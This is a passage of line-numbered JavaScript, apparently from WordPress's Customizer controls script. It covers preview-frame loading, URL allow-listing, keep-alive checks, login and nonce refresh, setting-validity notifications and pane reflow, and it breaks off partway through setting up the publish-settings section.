6242 * @return {wp.customize.Notification|undefined|jQuery.promise} Notification instance or undefined (if function called with one code param),
6243 * or promise resolving to requested notifications.
6244 *
6245 * @example <caption>Check if existing notification</caption>
6246 * exists = wp.customize.notifications.has( 'a_new_day_arrived' );
6247 *
6248 * @example <caption>Obtain existing notification</caption>
6249 * notification = wp.customize.notifications( 'a_new_day_arrived' );
6250 *
6251 * @example <caption>Obtain notification that may not exist yet.</caption>
6252 * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } );
6253 *
6254 * @example <caption>Add a warning notification.</caption>
6255 * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', {
6256 * type: 'warning',
6257 * message: 'Midnight has almost arrived!',
6258 * dismissible: true
6259 * } ) );
6260 *
6261 * @example <caption>Remove a notification.</caption>
6262 * wp.customize.notifications.remove( 'a_new_day_arrived' );
6263 *
6264 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
6265 */
6266 api.notifications = new api.Notifications();
6267
6268 api.PreviewFrame = api.Messenger.extend(/** @lends wp.customize.PreviewFrame.prototype */{
6269 sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity.
6270
6271 /**
6272 * An object that fetches a preview in the background of the document, which
6273 * allows for seamless replacement of an existing preview.
6274 *
6275 * @constructs wp.customize.PreviewFrame
6276 * @augments wp.customize.Messenger
6277 *
6278 * @param {Object} params.container
6279 * @param {Object} params.previewUrl
6280 * @param {Object} params.query
6281 * @param {Object} options
6282 */
6283 initialize: function( params, options ) {
6284 var deferred = $.Deferred();
6285
6286 /*
6287 * Make the instance of the PreviewFrame the promise object
6288 * so other objects can easily interact with it.
6289 */
6290 deferred.promise( this );
6291
6292 this.container = params.container;
6293
6294 $.extend( params, { channel: api.PreviewFrame.uuid() });
6295
6296 api.Messenger.prototype.initialize.call( this, params, options );
6297
6298 this.add( 'previewUrl', params.previewUrl );
6299
6300 this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });
6301
6302 this.run( deferred );
6303 },
6304
6305 /**
6306 * Run the preview request.
6307 *
6308 * @param {Object} deferred jQuery Deferred object to be resolved with
6309 * the request.
6310 */
6311 run: function( deferred ) {
6312 var previewFrame = this,
6313 loaded = false,
6314 ready = false,
6315 readyData = null,
6316 hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized,
6317 urlParser,
6318 params,
6319 form;
6320
6321 if ( previewFrame._ready ) {
6322 previewFrame.unbind( 'ready', previewFrame._ready );
6323 }
6324
6325 previewFrame._ready = function( data ) {
6326 ready = true;
6327 readyData = data;
6328 previewFrame.container.addClass( 'iframe-ready' );
6329 if ( ! data ) {
6330 return;
6331 }
6332
6333 if ( loaded ) {
6334 deferred.resolveWith( previewFrame, [ data ] );
6335 }
6336 };
6337
6338 previewFrame.bind( 'ready', previewFrame._ready );
6339
6340 urlParser = document.createElement( 'a' );
6341 urlParser.href = previewFrame.previewUrl();
6342
6343 params = _.extend(
6344 api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
6345 {
6346 customize_changeset_uuid: previewFrame.query.customize_changeset_uuid,
6347 customize_theme: previewFrame.query.customize_theme,
6348 customize_messenger_channel: previewFrame.query.customize_messenger_channel
6349 }
6350 );
6351 if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
6352 params.customize_autosaved = 'on';
6353 }
6354
6355 urlParser.search = $.param( params );
6356 previewFrame.iframe = $( '<iframe />', {
6357 title: api.l10n.previewIframeTitle,
6358 name: 'customize-' + previewFrame.channel()
6359 } );
6360 previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149.
6361 previewFrame.iframe.attr( 'sandbox', 'allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts' );
6362
6363 if ( ! hasPendingChangesetUpdate ) {
6364 previewFrame.iframe.attr( 'src', urlParser.href );
6365 } else {
6366 previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes.
6367 }
6368
6369 previewFrame.iframe.appendTo( previewFrame.container );
6370 previewFrame.targetWindow( previewFrame.iframe[0].contentWindow );
6371
6372 /*
6373 * Submit customized data in POST request to preview frame window since
6374 * there are setting value changes not yet written to changeset.
6375 */
6376 if ( hasPendingChangesetUpdate ) {
6377 form = $( '<form>', {
6378 action: urlParser.href,
6379 target: previewFrame.iframe.attr( 'name' ),
6380 method: 'post',
6381 hidden: 'hidden'
6382 } );
6383 form.append( $( '<input>', {
6384 type: 'hidden',
6385 name: '_method',
6386 value: 'GET'
6387 } ) );
6388 _.each( previewFrame.query, function( value, key ) {
6389 form.append( $( '<input>', {
6390 type: 'hidden',
6391 name: key,
6392 value: value
6393 } ) );
6394 } );
6395 previewFrame.container.append( form );
6396 form.trigger( 'submit' );
6397 form.remove(); // No need to keep the form around after submitted.
6398 }
6399
6400 previewFrame.bind( 'iframe-loading-error', function( error ) {
6401 previewFrame.iframe.remove();
6402
6403 // Check if the user is not logged in.
6404 if ( 0 === error ) {
6405 previewFrame.login( deferred );
6406 return;
6407 }
6408
6409 // Check for cheaters.
6410 if ( -1 === error ) {
6411 deferred.rejectWith( previewFrame, [ 'cheatin' ] );
6412 return;
6413 }
6414
6415 deferred.rejectWith( previewFrame, [ 'request failure' ] );
6416 } );
6417
6418 previewFrame.iframe.one( 'load', function() {
6419 loaded = true;
6420
6421 if ( ready ) {
6422 deferred.resolveWith( previewFrame, [ readyData ] );
6423 } else {
6424 setTimeout( function() {
6425 deferred.rejectWith( previewFrame, [ 'ready timeout' ] );
6426 }, previewFrame.sensitivity );
6427 }
6428 });
6429 },
6430
6431 login: function( deferred ) {
6432 var self = this,
6433 reject;
6434
6435 reject = function() {
6436 deferred.rejectWith( self, [ 'logged out' ] );
6437 };
6438
6439 if ( this.triedLogin ) {
6440 return reject();
6441 }
6442
6443 // Check if we have an admin cookie.
6444 $.get( api.settings.url.ajax, {
6445 action: 'logged-in'
6446 }).fail( reject ).done( function( response ) {
6447 var iframe;
6448
6449 if ( '1' !== response ) {
6450 reject();
6451 }
6452
6453 iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide();
6454 iframe.appendTo( self.container );
6455 iframe.on( 'load', function() {
6456 self.triedLogin = true;
6457
6458 iframe.remove();
6459 self.run( deferred );
6460 });
6461 });
6462 },
6463
6464 destroy: function() {
6465 api.Messenger.prototype.destroy.call( this );
6466
6467 if ( this.iframe ) {
6468 this.iframe.remove();
6469 }
6470
6471 delete this.iframe;
6472 delete this.targetWindow;
6473 }
6474 });
6475
6476 (function(){
6477 var id = 0;
6478 /**
6479 * Return an incremented ID for a preview messenger channel.
6480 *
6481 * This function is named "uuid" for historical reasons, but it is a
6482 * misnomer as it is not an actual UUID, and it is not universally unique.
6483 * This is not to be confused with `api.settings.changeset.uuid`.
6484 *
6485 * @return {string}
6486 */
6487 api.PreviewFrame.uuid = function() {
6488 return 'preview-' + String( id++ );
6489 };
6490 }());
6491
6492 /**
6493 * Set the document title of the customizer.
6494 *
6495 * @alias wp.customize.setDocumentTitle
6496 *
6497 * @since 4.1.0
6498 *
6499 * @param {string} documentTitle
6500 */
6501 api.setDocumentTitle = function ( documentTitle ) {
6502 var tmpl, title;
6503 tmpl = api.settings.documentTitleTmpl;
6504 title = tmpl.replace( '%s', documentTitle );
6505 document.title = title;
6506 api.trigger( 'title', title );
6507 };
6508
6509 api.Previewer = api.Messenger.extend(/** @lends wp.customize.Previewer.prototype */{
6510 refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh.
6511
6512 /**
6513 * @constructs wp.customize.Previewer
6514 * @augments wp.customize.Messenger
6515 *
6516 * @param {Array} params.allowedUrls
6517 * @param {string} params.container A selector or jQuery element for the preview
6518 * frame to be placed.
6519 * @param {string} params.form
6520 * @param {string} params.previewUrl The URL to preview.
6521 * @param {Object} options
6522 */
6523 initialize: function( params, options ) {
6524 var previewer = this,
6525 urlParser = document.createElement( 'a' );
6526
6527 $.extend( previewer, options || {} );
6528 previewer.deferred = {
6529 active: $.Deferred()
6530 };
6531
6532 // Debounce to prevent hammering server and then wait for any pending update requests.
6533 previewer.refresh = _.debounce(
6534 ( function( originalRefresh ) {
6535 return function() {
6536 var isProcessingComplete, refreshOnceProcessingComplete;
6537 isProcessingComplete = function() {
6538 return 0 === api.state( 'processing' ).get();
6539 };
6540 if ( isProcessingComplete() ) {
6541 originalRefresh.call( previewer );
6542 } else {
6543 refreshOnceProcessingComplete = function() {
6544 if ( isProcessingComplete() ) {
6545 originalRefresh.call( previewer );
6546 api.state( 'processing' ).unbind( refreshOnceProcessingComplete );
6547 }
6548 };
6549 api.state( 'processing' ).bind( refreshOnceProcessingComplete );
6550 }
6551 };
6552 }( previewer.refresh ) ),
6553 previewer.refreshBuffer
6554 );
6555
6556 previewer.container = api.ensure( params.container );
6557 previewer.allowedUrls = params.allowedUrls;
6558
6559 params.url = window.location.href;
6560
6561 api.Messenger.prototype.initialize.call( previewer, params );
6562
6563 urlParser.href = previewer.origin();
6564 previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );
6565
6566 /*
6567 * Limit the URL to internal, front-end links.
6568 *
6569 * If the front end and the admin are served from the same domain, load the
6570 * preview over ssl if the Customizer is being loaded over ssl. This avoids
6571 * insecure content warnings. This is not attempted if the admin and front end
6572 * are on different domains to avoid the case where the front end doesn't have
6573 * ssl certs.
6574 */
6575
6576 previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
6577 var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = [];
6578 urlParser = document.createElement( 'a' );
6579 urlParser.href = to;
6580
6581 // Abort if URL is for admin or (static) files in wp-includes or wp-content.
6582 if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) {
6583 return null;
6584 }
6585
6586 // Remove state query params.
6587 if ( urlParser.search.length > 1 ) {
6588 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
6589 delete queryParams.customize_changeset_uuid;
6590 delete queryParams.customize_theme;
6591 delete queryParams.customize_messenger_channel;
6592 delete queryParams.customize_autosaved;
6593 if ( _.isEmpty( queryParams ) ) {
6594 urlParser.search = '';
6595 } else {
6596 urlParser.search = $.param( queryParams );
6597 }
6598 }
6599
6600 parsedCandidateUrls.push( urlParser );
6601
6602 // Prepend list with URL that matches the scheme/protocol of the iframe.
6603 if ( previewer.scheme.get() + ':' !== urlParser.protocol ) {
6604 urlParser = document.createElement( 'a' );
6605 urlParser.href = parsedCandidateUrls[0].href;
6606 urlParser.protocol = previewer.scheme.get() + ':';
6607 parsedCandidateUrls.unshift( urlParser );
6608 }
6609
6610 // Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL.
6611 parsedAllowedUrl = document.createElement( 'a' );
6612 _.find( parsedCandidateUrls, function( parsedCandidateUrl ) {
6613 return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) {
6614 parsedAllowedUrl.href = allowedUrl;
6615 if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) {
6616 result = parsedCandidateUrl.href;
6617 return true;
6618 }
6619 } ) );
6620 } );
6621
6622 return result;
6623 });
6624
6625 previewer.bind( 'ready', previewer.ready );
6626
6627 // Start listening for keep-alive messages when iframe first loads.
6628 previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) );
6629
6630 previewer.bind( 'synced', function() {
6631 previewer.send( 'active' );
6632 } );
6633
6634 // Refresh the preview when the URL is changed (but not yet).
6635 previewer.previewUrl.bind( previewer.refresh );
6636
6637 previewer.scroll = 0;
6638 previewer.bind( 'scroll', function( distance ) {
6639 previewer.scroll = distance;
6640 });
6641
6642 // Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh.
6643 previewer.bind( 'url', function( url ) {
6644 var onUrlChange, urlChanged = false;
6645 previewer.scroll = 0;
6646 onUrlChange = function() {
6647 urlChanged = true;
6648 };
6649 previewer.previewUrl.bind( onUrlChange );
6650 previewer.previewUrl.set( url );
6651 previewer.previewUrl.unbind( onUrlChange );
6652 if ( ! urlChanged ) {
6653 previewer.refresh();
6654 }
6655 } );
6656
6657 // Update the document title when the preview changes.
6658 previewer.bind( 'documentTitle', function ( title ) {
6659 api.setDocumentTitle( title );
6660 } );
6661 },
6662
6663 /**
6664 * Handle the preview receiving the ready message.
6665 *
6666 * @since 4.7.0
6667 * @access public
6668 *
6669 * @param {Object} data - Data from preview.
6670 * @param {string} data.currentUrl - Current URL.
6671 * @param {Object} data.activePanels - Active panels.
6672 * @param {Object} data.activeSections Active sections.
6673 * @param {Object} data.activeControls Active controls.
6674 * @return {void}
6675 */
6676 ready: function( data ) {
6677 var previewer = this, synced = {}, constructs;
6678
6679 synced.settings = api.get();
6680 synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading;
6681 if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) {
6682 synced.scroll = previewer.scroll;
6683 }
6684 synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get();
6685 previewer.send( 'sync', synced );
6686
6687 // Set the previewUrl without causing the url to set the iframe.
6688 if ( data.currentUrl ) {
6689 previewer.previewUrl.unbind( previewer.refresh );
6690 previewer.previewUrl.set( data.currentUrl );
6691 previewer.previewUrl.bind( previewer.refresh );
6692 }
6693
6694 /*
6695 * Walk over all panels, sections, and controls and set their
6696 * respective active states to true if the preview explicitly
6697 * indicates as such.
6698 */
6699 constructs = {
6700 panel: data.activePanels,
6701 section: data.activeSections,
6702 control: data.activeControls
6703 };
6704 _( constructs ).each( function ( activeConstructs, type ) {
6705 api[ type ].each( function ( construct, id ) {
6706 var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] );
6707
6708 /*
6709 * If the construct was created statically in PHP (not dynamically in JS)
6710 * then consider a missing (undefined) value in the activeConstructs to
6711 * mean it should be deactivated (since it is gone). But if it is
6712 * dynamically created then only toggle activation if the value is defined,
6713 * as this means that the construct was also then correspondingly
6714 * created statically in PHP and the active callback is available.
6715 * Otherwise, dynamically-created constructs should normally have
6716 * their active states toggled in JS rather than from PHP.
6717 */
6718 if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) {
6719 if ( activeConstructs[ id ] ) {
6720 construct.activate();
6721 } else {
6722 construct.deactivate();
6723 }
6724 }
6725 } );
6726 } );
6727
6728 if ( data.settingValidities ) {
6729 api._handleSettingValidities( {
6730 settingValidities: data.settingValidities,
6731 focusInvalidControl: false
6732 } );
6733 }
6734 },
6735
6736 /**
6737 * Keep the preview alive by listening for ready and keep-alive messages.
6738 *
6739 * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL.
6740 *
6741 * @since 4.7.0
6742 * @access public
6743 *
6744 * @return {void}
6745 */
6746 keepPreviewAlive: function keepPreviewAlive() {
6747 var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck;
6748
6749 /**
6750 * Schedule a preview keep-alive check.
6751 *
6752 * Note that if a page load takes longer than keepAliveCheck milliseconds,
6753 * the keep-alive messages will still be getting sent from the previous
6754 * URL.
6755 */
6756 scheduleKeepAliveCheck = function() {
6757 timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck );
6758 };
6759
6760 /**
6761 * Set the previewerAlive state to true when receiving a message from the preview.
6762 */
6763 keepAliveTick = function() {
6764 api.state( 'previewerAlive' ).set( true );
6765 clearTimeout( timeoutId );
6766 scheduleKeepAliveCheck();
6767 };
6768
6769 /**
6770 * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message.
6771 *
6772 * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser
6773 * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage
6774 * transport to use refresh instead, causing the preview frame also to be replaced with the current
6775 * allowed preview URL.
6776 */
6777 handleMissingKeepAlive = function() {
6778 api.state( 'previewerAlive' ).set( false );
6779 };
6780 scheduleKeepAliveCheck();
6781
6782 previewer.bind( 'ready', keepAliveTick );
6783 previewer.bind( 'keep-alive', keepAliveTick );
6784 },
6785
6786 /**
6787 * Query string data sent with each preview request.
6788 *
6789 * @abstract
6790 */
6791 query: function() {},
6792
6793 abort: function() {
6794 if ( this.loading ) {
6795 this.loading.destroy();
6796 delete this.loading;
6797 }
6798 },
6799
6800 /**
6801 * Refresh the preview seamlessly.
6802 *
6803 * @since 3.4.0
6804 * @access public
6805 *
6806 * @return {void}
6807 */
6808 refresh: function() {
6809 var previewer = this, onSettingChange;
6810
6811 // Display loading indicator.
6812 previewer.send( 'loading-initiated' );
6813
6814 previewer.abort();
6815
6816 previewer.loading = new api.PreviewFrame({
6817 url: previewer.url(),
6818 previewUrl: previewer.previewUrl(),
6819 query: previewer.query( { excludeCustomizedSaved: true } ) || {},
6820 container: previewer.container
6821 });
6822
6823 previewer.settingsModifiedWhileLoading = {};
6824 onSettingChange = function( setting ) {
6825 previewer.settingsModifiedWhileLoading[ setting.id ] = true;
6826 };
6827 api.bind( 'change', onSettingChange );
6828 previewer.loading.always( function() {
6829 api.unbind( 'change', onSettingChange );
6830 } );
6831
6832 previewer.loading.done( function( readyData ) {
6833 var loadingFrame = this, onceSynced;
6834
6835 previewer.preview = loadingFrame;
6836 previewer.targetWindow( loadingFrame.targetWindow() );
6837 previewer.channel( loadingFrame.channel() );
6838
6839 onceSynced = function() {
6840 loadingFrame.unbind( 'synced', onceSynced );
6841 if ( previewer._previousPreview ) {
6842 previewer._previousPreview.destroy();
6843 }
6844 previewer._previousPreview = previewer.preview;
6845 previewer.deferred.active.resolve();
6846 delete previewer.loading;
6847 };
6848 loadingFrame.bind( 'synced', onceSynced );
6849
6850 // This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh.
6851 previewer.trigger( 'ready', readyData );
6852 });
6853
6854 previewer.loading.fail( function( reason ) {
6855 previewer.send( 'loading-failed' );
6856
6857 if ( 'logged out' === reason ) {
6858 if ( previewer.preview ) {
6859 previewer.preview.destroy();
6860 delete previewer.preview;
6861 }
6862
6863 previewer.login().done( previewer.refresh );
6864 }
6865
6866 if ( 'cheatin' === reason ) {
6867 previewer.cheatin();
6868 }
6869 });
6870 },
6871
6872 login: function() {
6873 var previewer = this,
6874 deferred, messenger, iframe;
6875
6876 if ( this._login ) {
6877 return this._login;
6878 }
6879
6880 deferred = $.Deferred();
6881 this._login = deferred.promise();
6882
6883 messenger = new api.Messenger({
6884 channel: 'login',
6885 url: api.settings.url.login
6886 });
6887
6888 iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container );
6889
6890 messenger.targetWindow( iframe[0].contentWindow );
6891
6892 messenger.bind( 'login', function () {
6893 var refreshNonces = previewer.refreshNonces();
6894
6895 refreshNonces.always( function() {
6896 iframe.remove();
6897 messenger.destroy();
6898 delete previewer._login;
6899 });
6900
6901 refreshNonces.done( function() {
6902 deferred.resolve();
6903 });
6904
6905 refreshNonces.fail( function() {
6906 previewer.cheatin();
6907 deferred.reject();
6908 });
6909 });
6910
6911 return this._login;
6912 },
6913
6914 cheatin: function() {
6915 $( document.body ).empty().addClass( 'cheatin' ).append(
6916 '<h1>' + api.l10n.notAllowedHeading + '</h1>' +
6917 '<p>' + api.l10n.notAllowed + '</p>'
6918 );
6919 },
6920
6921 refreshNonces: function() {
6922 var request, deferred = $.Deferred();
6923
6924 deferred.promise();
6925
6926 request = wp.ajax.post( 'customize_refresh_nonces', {
6927 wp_customize: 'on',
6928 customize_theme: api.settings.theme.stylesheet
6929 });
6930
6931 request.done( function( response ) {
6932 api.trigger( 'nonce-refresh', response );
6933 deferred.resolve();
6934 });
6935
6936 request.fail( function() {
6937 deferred.reject();
6938 });
6939
6940 return deferred;
6941 }
6942 });
6943
6944 api.settingConstructor = {};
6945 api.controlConstructor = {
6946 color: api.ColorControl,
6947 media: api.MediaControl,
6948 upload: api.UploadControl,
6949 image: api.ImageControl,
6950 cropped_image: api.CroppedImageControl,
6951 site_icon: api.SiteIconControl,
6952 header: api.HeaderControl,
6953 background: api.BackgroundControl,
6954 background_position: api.BackgroundPositionControl,
6955 theme: api.ThemeControl,
6956 date_time: api.DateTimeControl,
6957 code_editor: api.CodeEditorControl
6958 };
6959 api.panelConstructor = {
6960 themes: api.ThemesPanel
6961 };
6962 api.sectionConstructor = {
6963 themes: api.ThemesSection,
6964 outer: api.OuterSection
6965 };
6966
6967 /**
6968 * Handle setting_validities in an error response for the customize-save request.
6969 *
6970 * Add notifications to the settings and focus on the first control that has an invalid setting.
6971 *
6972 * @alias wp.customize._handleSettingValidities
6973 *
6974 * @since 4.6.0
6975 * @private
6976 *
6977 * @param {Object} args
6978 * @param {Object} args.settingValidities
6979 * @param {boolean} [args.focusInvalidControl=false]
6980 * @return {void}
6981 */
6982 api._handleSettingValidities = function handleSettingValidities( args ) {
6983 var invalidSettingControls, invalidSettings = [], wasFocused = false;
6984
6985 // Find the controls that correspond to each invalid setting.
6986 _.each( args.settingValidities, function( validity, settingId ) {
6987 var setting = api( settingId );
6988 if ( setting ) {
6989
6990 // Add notifications for invalidities.
6991 if ( _.isObject( validity ) ) {
6992 _.each( validity, function( params, code ) {
6993 var notification, existingNotification, needsReplacement = false;
6994 notification = new api.Notification( code, _.extend( { fromServer: true }, params ) );
6995
6996 // Remove existing notification if already exists for code but differs in parameters.
6997 existingNotification = setting.notifications( notification.code );
6998 if ( existingNotification ) {
6999 needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data );
7000 }
7001 if ( needsReplacement ) {
7002 setting.notifications.remove( code );
7003 }
7004
7005 if ( ! setting.notifications.has( notification.code ) ) {
7006 setting.notifications.add( notification );
7007 }
7008 invalidSettings.push( setting.id );
7009 } );
7010 }
7011
7012 // Remove notification errors that are no longer valid.
7013 setting.notifications.each( function( notification ) {
7014 if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) {
7015 setting.notifications.remove( notification.code );
7016 }
7017 } );
7018 }
7019 } );
7020
7021 if ( args.focusInvalidControl ) {
7022 invalidSettingControls = api.findControlsForSettings( invalidSettings );
7023
7024 // Focus on the first control that is inside of an expanded section (one that is visible).
7025 _( _.values( invalidSettingControls ) ).find( function( controls ) {
7026 return _( controls ).find( function( control ) {
7027 var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded();
7028 if ( isExpanded && control.expanded ) {
7029 isExpanded = control.expanded();
7030 }
7031 if ( isExpanded ) {
7032 control.focus();
7033 wasFocused = true;
7034 }
7035 return wasFocused;
7036 } );
7037 } );
7038
7039 // Focus on the first invalid control.
7040 if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) {
7041 _.values( invalidSettingControls )[0][0].focus();
7042 }
7043 }
7044 };
7045
7046 /**
7047 * Find all controls associated with the given settings.
7048 *
7049 * @alias wp.customize.findControlsForSettings
7050 *
7051 * @since 4.6.0
7052 * @param {string[]} settingIds Setting IDs.
7053 * @return {Object<string, wp.customize.Control>} Mapping setting ids to arrays of controls.
7054 */
7055 api.findControlsForSettings = function findControlsForSettings( settingIds ) {
7056 var controls = {}, settingControls;
7057 _.each( _.unique( settingIds ), function( settingId ) {
7058 var setting = api( settingId );
7059 if ( setting ) {
7060 settingControls = setting.findControls();
7061 if ( settingControls && settingControls.length > 0 ) {
7062 controls[ settingId ] = settingControls;
7063 }
7064 }
7065 } );
7066 return controls;
7067 };
7068
7069 /**
7070 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
7071 *
7072 * @alias wp.customize.reflowPaneContents
7073 *
7074 * @since 4.1.0
7075 */
7076 api.reflowPaneContents = _.bind( function () {
7077
7078 var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false;
7079
7080 if ( document.activeElement ) {
7081 activeElement = $( document.activeElement );
7082 }
7083
7084 // Sort the sections within each panel.
7085 api.panel.each( function ( panel ) {
7086 if ( 'themes' === panel.id ) {
7087 return; // Don't reflow theme sections, as doing so moves them after the themes container.
7088 }
7089
7090 var sections = panel.sections(),
7091 sectionHeadContainers = _.pluck( sections, 'headContainer' );
7092 rootNodes.push( panel );
7093 appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' );
7094 if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) {
7095 _( sections ).each( function ( section ) {
7096 appendContainer.append( section.headContainer );
7097 } );
7098 wasReflowed = true;
7099 }
7100 } );
7101
7102 // Sort the controls within each section.
7103 api.section.each( function ( section ) {
7104 var controls = section.controls(),
7105 controlContainers = _.pluck( controls, 'container' );
7106 if ( ! section.panel() ) {
7107 rootNodes.push( section );
7108 }
7109 appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
7110 if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
7111 _( controls ).each( function ( control ) {
7112 appendContainer.append( control.container );
7113 } );
7114 wasReflowed = true;
7115 }
7116 } );
7117
7118 // Sort the root panels and sections.
7119 rootNodes.sort( api.utils.prioritySort );
7120 rootHeadContainers = _.pluck( rootNodes, 'headContainer' );
7121 appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
7122 if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) {
7123 _( rootNodes ).each( function ( rootNode ) {
7124 appendContainer.append( rootNode.headContainer );
7125 } );
7126 wasReflowed = true;
7127 }
7128
7129 // Now re-trigger the active Value callbacks so that the panels and sections can decide whether they can be rendered.
7130 api.panel.each( function ( panel ) {
7131 var value = panel.active();
7132 panel.active.callbacks.fireWith( panel.active, [ value, value ] );
7133 } );
7134 api.section.each( function ( section ) {
7135 var value = section.active();
7136 section.active.callbacks.fireWith( section.active, [ value, value ] );
7137 } );
7138
7139 // Restore focus if there was a reflow and there was an active (focused) element.
7140 if ( wasReflowed && activeElement ) {
7141 activeElement.trigger( 'focus' );
7142 }
7143 api.trigger( 'pane-contents-reflowed' );
7144 }, api );
7145
7146 // Define state values.
7147 api.state = new api.Values();
7148 _.each( [
7149 'saved',
7150 'saving',
7151 'trashing',
7152 'activated',
7153 'processing',
7154 'paneVisible',
7155 'expandedPanel',
7156 'expandedSection',
7157 'changesetDate',
7158 'selectedChangesetDate',
7159 'changesetStatus',
7160 'selectedChangesetStatus',
7161 'remainingTimeToPublish',
7162 'previewerAlive',
7163 'editShortcutVisibility',
7164 'changesetLocked',
7165 'previewedDevice'
7166 ], function( name ) {
7167 api.state.create( name );
7168 });
7169
7170 $( function() {
7171 api.settings = window._wpCustomizeSettings;
7172 api.l10n = window._wpCustomizeControlsL10n;
7173
7174 // Check if we can run the Customizer.
7175 if ( ! api.settings ) {
7176 return;
7177 }
7178
7179 // Bail if any incompatibilities are found.
7180 if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) {
7181 return;
7182 }
7183
7184 if ( null === api.PreviewFrame.prototype.sensitivity ) {
7185 api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity;
7186 }
7187 if ( null === api.Previewer.prototype.refreshBuffer ) {
7188 api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh;
7189 }
7190
7191 var parent,
7192 body = $( document.body ),
7193 overlay = body.children( '.wp-full-overlay' ),
7194 title = $( '#customize-info .panel-title.site-title' ),
7195 closeBtn = $( '.customize-controls-close' ),
7196 saveBtn = $( '#save' ),
7197 btnWrapper = $( '#customize-save-button-wrapper' ),
7198 publishSettingsBtn = $( '#publish-settings' ),
7199 footerActions = $( '#customize-footer-actions' );
7200
7201 // Add publish settings section in JS instead of PHP since the Customizer depends on it to function.
7202 api.bind( 'ready', function() {
7203 api.section.add( new api.OuterSection( 'publish_settings', {
7204 title: api.l10n.publishSettings,
7205 priority: 0,
7206 active: api.settings.theme.active
7207 } ) );
7208 } );
7209
7210 // Set up publish settings section and its controls.
7211 api.section( 'publish_settings', function( section ) {
7212 var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000;
7213
7214 trashControl = new api.Control( 'trash_changeset', {
7215 type: 'button',
7216 section: section.id,
7217 priority: 30,
7218 input_attrs: {
7219 'class': 'button-link button-link-delete',
7220 value: api.l10n.discardChanges
7221 }
7222 } );
7223 api.control.add( trashControl );
7224 trashControl.deferred.embedded.done( function() {
7225 trashControl.container.find( '.button-link' ).on( 'click', function() {
7226 if ( confirm( api.l10n.trashConfirm ) ) {
7227 wp.customize.previewer.trash();
7228 }
7229 } );
7230 } );
7231
7232 api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', {
7233 section: section.id,
7234 priority: 100
7235 } ) );
7236
7237 /**
7238 * Return whether the publish settings section should be active.
7239 *
7240 * @return {boolean} Is section active.
7241 */
7242 isSectionActive = function() {
7243 if ( ! api.state( 'activated' ).get() ) {
7244 return false;
7245 }
7246 if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) {
7247 return false;
7248 }
7249 if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) {
7250 return false;
7251 }
7252 return true;
7253 };
7254
7255 // Make sure publish settings are not available while the theme is not active and the customizer is in a published state.
7256 section.active.validate = isSectionActive;
